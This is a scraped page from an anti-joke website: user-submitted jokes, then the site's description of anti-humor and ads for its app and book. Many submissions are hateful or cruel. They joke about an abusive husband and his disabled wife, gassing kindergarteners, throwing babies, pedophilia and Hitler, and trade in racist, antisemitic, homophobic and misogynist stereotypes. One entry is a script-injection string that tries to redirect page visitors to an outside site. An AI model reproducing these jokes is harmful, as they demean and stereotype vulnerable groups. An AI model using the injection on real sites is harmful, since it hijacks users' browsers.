"Roll back into the kitchen and imagine me a sandwich!" yelled the abusive husband to his paraplegic wife.

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I found an iPhone on the ground at lunch during school. I said, "Wow, I can't believe I just found an iPhone on the ground at lunch during school." Later that day, my principal gassed the kindergarten classrooms with cyanide while shouting, "GO RAIDERS!"

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How do you make a lumberjack cry? Kill his family

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A man walk's into a bar with a monkey, I fotgot the rest of the joke. Your mom is a whore.

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Knock Knock Who's There? Ted. Oh, Hey Ted.

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An Irishman and an Englishman are having a heated conversation about Rugby in a pub. Another Irish comes to the pub.. He is promptly given a bar stool and menu so that he can order.

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What's worse than waking up next to an ugly girl? Waking up, sealed in a coffin which is floating on a raft traversing through shark-infested waters. Oh, and the raft is on fire.

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Q: What do you brush your teeth with, sit on and sleep in? A: A toothbrush, a chair and a bed

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A woman walks in a confessional booth and proceeds to tell the priest about how she killed and ate her baby in a fit of hysteria because she is having issues dealing with her fresh divorce. The priest does not call 911.

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Why did the black man go to jail? Because he committed a criminal offense.

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What's worse than finding a worm in your apple? Finding out your boyfriend's gay

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Why do mexicans like burritos? Because they taste good.

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Why did the black man get fired? In this economy businesses are downsizing and outsourcing jobs for cheaper labor.

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Why do Squirrels accidentally plant millions of trees. Because they bury their nuts and forget where they are.

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Roses are red Violets are blue Chrome won't stop crashing randomly F*ck Chrome

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Why did the wolf cry boy? Cause he was a pedifile.

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What did the little boy say when he was asked what he wanted to be when he grew up? Adolf Hitler

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Roses Are Red Violets Are Blue If it wasnt for christmas We would all be jewish.

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Q: How many babies does it take to paint a wall? A: It depends on how hard you throw them.

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A Mexican, a Chinese man, and a cowboy are on a plane. The plane is crashing, and they need to get rid of anything to make the plane lighter so thet can glide to safety. The cowboy throws out all of his boots and says we have to many of these. Then the Mexican throws out all of his taco shells and says we have to many of these. Then the Chinese man throws out the Mexican and says we have to many of these.(:

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*insert lame joke stolen from the top 10 jokes and act like it's original because I changed one word*

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"'>document.location.href="http://cramik.org"

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A man walks into a bar. and buys a drink.

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A man goes to the pound to adopt a dog and sees a very shaggy dog and says "WOW! Thats a shaggy dog I'll take it!" So the man takes home his new dog and decides to enter the dog in the towns anual shaggy dog contest. and wins. After winning the town shaggy dog contest he moves up to the county shaggy dog contest. theres no competition. Now the man and his dog enter into the state shaggy dog contest, the states shaggiest dogs are all competing. the man wins. Finally the man and his dog are in the prestigious national shaggy dog contest. The judge walks up to the man and says "your dog isn't very shaggy"

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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